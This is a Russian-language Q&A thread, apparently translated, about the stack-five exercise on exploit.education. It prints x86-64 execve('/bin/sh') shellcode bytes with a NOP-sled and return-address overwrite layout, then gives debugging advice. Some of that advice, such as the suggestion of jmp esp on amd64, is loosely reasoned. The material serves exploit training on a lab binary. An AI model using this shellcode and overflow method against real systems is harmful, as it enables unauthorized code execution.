Вопрос или проблема
Я пытаюсь решить задачу stack-five на exploit.education (http://exploit.education/phoenix/stack-five/). Я столкнулся с проблемой при эксплуатации переполнения стека. Задача заключается в вызове execve(‘/bin/sh’) через шеллкод. Я взял шеллкод из shellstorm (http://shell-storm.org/shellcode/files/shellcode-603.php). Шеллкод состоит из:
[NOP slide]
(debug int3 \xcc)
"\x48\x31\xd2" // xor %rdx, %rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08" // shr $0x8, %rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp, %rdi
"\x50" // push %rax
"\x57" // push %rdi
"\x48\x89\xe6" // mov %rsp, %rsi
"\xb0\x3b" // mov $0x3b, %al
"\x0f\x05"; // syscall
(debug int3 \xcc)
[padding]
[override rip pointing to the middle of the NOP slide]
Я проверил int3 до и после шеллкода, и все кажется в порядке, оба срабатывают вне и внутри gdb, и поэтому я предполагаю, что шеллкод выполняется, но я не могу открыть оболочку.
Я использую такие команды:
cat | /opt/phoenix/amd64/stack-five < exploit
cat exploit - | /opt/phoenix/amd64/stack-five
Ни одна из них не открывает оболочку.
Пример выполнения
user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Добро пожаловать в phoenix/stack-five, предоставлено https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
whoami
Trace/breakpoint trap
Этот int3 находится ПОСЛЕ шеллкода.
Есть ли какие-то идеи, что не так?
В идеале вам нужно будет точное устройство, например, jmp esp, а не фиксированный адрес стека и NOP слайд.
Наличие точки останова int 3 \xcc
в вашем шеллкоде при его запуске вне gdb завершит выполнение в этот момент и помешает выполнению вашего шеллкода.
Я не проходил эту задачу, но вы не сказали, что проверили, корректно ли загружается шеллкод в память. Иногда в данных, обрабатываемых программой, есть байты, которых следует избегать (плохие байты). Смотрю на исходный код, это не похоже на вероятную причину, но это хорошая привычка.
Иногда вам также может потребоваться сдвинуть esp от нагрузки, чтобы избежать повреждения.
Вы можете шаг за шагом пройти по шеллкоду с помощью gdb, чтобы убедиться, что шеллкод не поврежден и что все регистры настроены правильно, и вы вызываете системный вызов.
Ответ или решение
Для успешного выполнения задачи в рамках вызова shellcode в задании stack-five на платформе exploit.education, необходимо обратить внимание на несколько ключевых моментов, которые могут стать причиной невозможности открыть оболочку. Рассмотрим поэтапно.
1. Проверка Shellcode
Убедитесь, что ваш shellcode действительно корректен и никаких недопустимых байтов (bad bytes) в нем не осталось. В вашем случае, приведенный shellcode из shellstorm выглядит правильно, однако всегда полезно протестировать его отдельно. Используйте GDB для отладки и убедитесь в правильности выполнения каждого шага.
2. Удаление int3
из Shellcode
Вы указали, что в вашем shellcode присутствуют инструкции int3
(\xcc
). Запуск shellcode с этими инструкциями может вызвать завершение программы при его выполнении за пределами отладчика. Убедитесь, что они полностью удалены из конечного shellcode, когда вы его запускаете.
3. Проверка Стековой Машины
Когда вы запускаете команду cat exploit - | /opt/phoenix/amd64/stack-five
, стоит проверить, где именно сохраняется ваш shellcode. Проверьте адреса, которые вы используете для перезаписи указателей (например, RIP
). Вам может понадобиться перенастроить его так, чтобы он точно указывал на начало вашего shellcode.
4.Использование Jumps
Рекомендуется использовать прямые указатели (например, jmp esp
), которые помогут избежать зависимости от адреса стека. Это поможет избежать ситуации, когда адреса будут меняться в зависимости от стека, что, в свою очередь, может привести к ошибкам.
5. Отладка в GDB
Используйте GDB для пошаговой отладки вашего кода. Убедитесь, что ваш shellcode загружается и выполняется правильно. Проверьте состояние регистров перед выполнением системного вызова. Пошаговое выполнение (step-through) поможет вам убедиться, что все условия для успешного выполнения были выполнены, и все регистры настроены корректно.
6. Управление Памятью
Также удостоверьтесь, что ваш стек корректно настроен перед выполнением вашего shellcode. Ваше сообщение о trap int3...
указывает на то, что нечто идет не так после выполнения shellcode. Проверьте, чтобы ваш стек не был поврежден до или после выполнения shellcode.
Заключение
Если после выполнения всех вышеуказанных рекомендаций проблема не решится, попробуйте создать минимально возможный рабочий пример вашего shellcode и среды, учитывая все нюансы работы стека и используемых адресов. Это может помочь в выявлении проблемы. Не забывайте о необходимости перекрестной проверки каждой части вашего кода, особенно в аспектах памяти и регистров.
Надеюсь, эти рекомендации помогут вам успешно пройти эту задачу. Удачи в ваших усилиях!